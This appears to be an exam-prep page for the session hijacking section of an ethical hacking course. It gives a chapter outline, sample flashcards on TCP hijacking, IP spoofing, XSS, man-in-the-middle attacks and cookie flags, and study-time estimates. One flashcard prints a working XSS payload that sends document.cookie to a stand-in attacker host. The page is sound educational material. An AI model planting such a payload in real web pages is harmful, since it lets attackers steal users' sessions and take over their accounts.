🌍 Ethical Hacking · subject
Ethical Hacking Session Hijacking Syllabus
Every chapter and topic of Session Hijacking examined in Ethical Hacking — 3 chapters, 9 topics, plus 50 flashcards written against it.
Session Hijacking syllabus — full chapter and topic list
Expand any chapter to see its topics and sub-topics. This is the whole examinable outline for Session Hijacking in Ethical Hacking, not a summary of it.
-
Session Hijacking Concepts
3 topics- What is Session Hijacking?
- Types of Session Hijacking
- Session Hijacking Process
-
Session Hijacking Techniques
3 topics- IP Spoofing
- Cross-site Scripting (XSS)
- Man-in-the-Middle (MitM) Attacks
-
Countermeasures
3 topics- Session Encryption
- Secure Cookie Handling
- Multi-factor Authentication
Session Hijacking flashcards for Ethical Hacking
24 of 50 cards from the Session Hijacking deck — real questions with worked answers.
What is session hijacking?
Session hijacking is an attack in which an adversary takes over a valid, already-established session between a user and a server—typically by stealing or predicting the session token/ID—to impersonate the legitimate user and gain unauthorized access without needing their credentials.
What is a session ID (session token) and why is it a target in session hijacking?
A session ID is a unique identifier the server issues after authentication to track a user's session (often stored in a cookie). It is a target because possessing a valid session ID lets an attacker be treated as the authenticated user, bypassing the login step entirely.
Why is session hijacking often more dangerous than password theft alone?
A hijacked session bypasses authentication controls entirely—including multi-factor authentication that was already satisfied at login—so the attacker inherits the user's authenticated state without ever needing the password or second factor.
Distinguish the two main types of session hijacking: active vs passive.
Active hijacking: the attacker takes over the session, often kicking the legitimate user off or injecting commands, actively interacting with the server. Passive hijacking: the attacker silently monitors and records traffic (eavesdropping) to capture session data without altering the session.
Distinguish network-level from application-level session hijacking.
Network-level hijacking targets the transport (TCP/IP) session—e.g., TCP sequence prediction, IP spoofing, packet sniffing. Application-level hijacking targets the session token at the app layer (HTTP)—e.g., stealing cookies via XSS, session fixation, or predicting session IDs.
List the general phases of the session hijacking process.
1) Sniff/monitor traffic between victim and server; 2) Track the active session and identify the session ID; 3) Predict or steal the session token; 4) Desynchronize/take over the connection (may reset the victim); 5) Inject commands or act as the authenticated user.
In network-level hijacking, why does the attacker need to predict the TCP sequence number?
TCP uses sequence numbers to order packets and validate that a packet belongs to the session. To inject packets that the server accepts as legitimate, the attacker must supply the correct next sequence number; otherwise the packets are discarded as out-of-window.
What is session desynchronization in a TCP hijacking attack?
It is the state where the server's and client's expected sequence numbers no longer match. The attacker forces desynchronization so the legitimate client's packets are ignored, and the attacker's injected packets (with the correct sequence numbers) are accepted in its place.
What is an ACK storm, and when does it occur in session hijacking?
An ACK storm is a flood of acknowledgment packets that occurs when the attacker's injected data desynchronizes the connection: the server and legitimate client keep sending ACKs trying to resynchronize sequence numbers, generating a loop of ACK traffic.
What is IP spoofing?
IP spoofing is forging the source IP address in packet headers so that packets appear to originate from a trusted or different host, used to impersonate another machine, bypass IP-based access controls, or hijack a TCP session.
Why is blind IP spoofing hard against modern TCP stacks?
Because the attacker cannot see the server's responses (they go to the spoofed IP), they must correctly guess the Initial Sequence Number (ISN). Modern stacks use randomized ISNs, making the sequence number effectively unpredictable and blind injection impractical.
How does IP spoofing enable a man-in-the-middle position combined with a desync attack?
By spoofing the victim's IP and silencing the real victim (e.g., via a SYN flood or ARP manipulation), the attacker sends packets that appear to come from the victim, allowing the server to continue the session with the attacker as if it were the original host.
What is Cross-Site Scripting (XSS) in the context of session hijacking?
XSS is a web vulnerability where an attacker injects malicious script into a page viewed by other users; the script runs in the victim's browser and can read the session cookie (e.g., via document.cookie) and exfiltrate it to the attacker, enabling session hijacking.
Name the three main types of XSS.
Stored (persistent) XSS—payload saved on the server and served to victims; Reflected XSS—payload echoed back in an immediate response from a crafted request/link; DOM-based XSS—vulnerability in client-side JavaScript that manipulates the DOM using untrusted input.
Give a classic XSS payload used to steal a session cookie.
A script such as `<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>` (or using fetch/XMLHttpRequest) reads document.cookie and sends the session ID to the attacker's server.
Which cookie flag defeats cookie theft via XSS, and how?
The HttpOnly flag: it prevents client-side JavaScript from accessing the cookie via document.cookie, so even if XSS executes, the script cannot read the session cookie to exfiltrate it.
What is a Man-in-the-Middle (MitM) attack?
A MitM attack is one where the attacker secretly positions themselves between two communicating parties, intercepting (and possibly altering) the traffic while both parties believe they are communicating directly and securely with each other.
How does a MitM attack facilitate session hijacking?
By intercepting traffic, the attacker can read unencrypted session tokens/cookies as they pass, or strip/downgrade encryption, capturing the session ID to then impersonate the victim's authenticated session.
What is ARP spoofing (ARP poisoning) and its role in MitM?
ARP spoofing sends forged ARP replies on a LAN to map the attacker's MAC address to another host's IP (e.g., the gateway), causing victim traffic to route through the attacker—establishing a man-in-the-middle position for sniffing or hijacking sessions.
What is SSL stripping in a MitM attack?
SSL stripping is a MitM technique where the attacker downgrades a victim's HTTPS connection to plain HTTP—maintaining HTTPS only between attacker and server—so the victim's traffic, including session cookies, is transmitted in cleartext and can be captured.
What is session encryption and how does it prevent hijacking?
Session encryption (e.g., TLS/HTTPS) encrypts the entire communication channel, including session tokens in transit, so an eavesdropper who sniffs the traffic sees only ciphertext and cannot read or reuse the session ID.
What role does TLS/HTTPS play in preventing passive session hijacking?
TLS provides confidentiality (encryption), integrity, and authentication of the server, so passive sniffers cannot read session cookies in transit and MitM tampering is detectable—defeating eavesdropping-based capture of session tokens.
What is the Secure cookie flag and what does it protect against?
The Secure flag instructs the browser to send the cookie only over encrypted HTTPS connections, never over plain HTTP. It prevents the session cookie from being transmitted in cleartext where a network sniffer or MitM could capture it.
Compare the HttpOnly and Secure cookie flags.
HttpOnly blocks client-side script (JavaScript) access to the cookie, defending against XSS-based theft. Secure restricts transmission to HTTPS only, defending against network sniffing/MitM. They address different attack vectors and should be used together.
Planning Session Hijacking for Ethical Hacking
Session Hijacking is about 5% of the Ethical Hacking syllabus by topic count — 9 of 173 topics, spread over 3 chapters. At roughly 45 minutes per topic plus 12 minutes per sub-topic, a first pass runs to about 7 hours.
The heaviest chapters are Session Hijacking Concepts (3 topics), Session Hijacking Techniques (3 topics), Countermeasures (3 topics) . Front-load those while your energy is high; the short chapters are better revision filler later.
Work top-down: read the chapter, then tick topics off individually rather than marking the whole chapter done. Sub-topics are where silent gaps hide.
Session Hijacking (Ethical Hacking) FAQ
What is in the Ethical Hacking Session Hijacking syllabus?
Session Hijacking is split into 3 chapters — Session Hijacking Concepts, Session Hijacking Techniques and Countermeasures, containing 9 topics and 0 sub-topics in total.
How is Session Hijacking structured in the Ethical Hacking syllabus?
3 chapters. Session Hijacking accounts for about 5% of the topics in the whole Ethical Hacking syllabus (9 of 173).
How long should I spend on Session Hijacking for Ethical Hacking?
Budget around 7 hours for a first pass through Session Hijacking — about 45 minutes per topic plus 12 minutes per sub-topic across its 9 topics. Add revision cycles on top.
Are there flashcards for Ethical Hacking Session Hijacking?
Yes — a 50-card Session Hijacking deck. Sample cards are printed on this page, and the full deck is free in the Examius app with spaced repetition scheduling.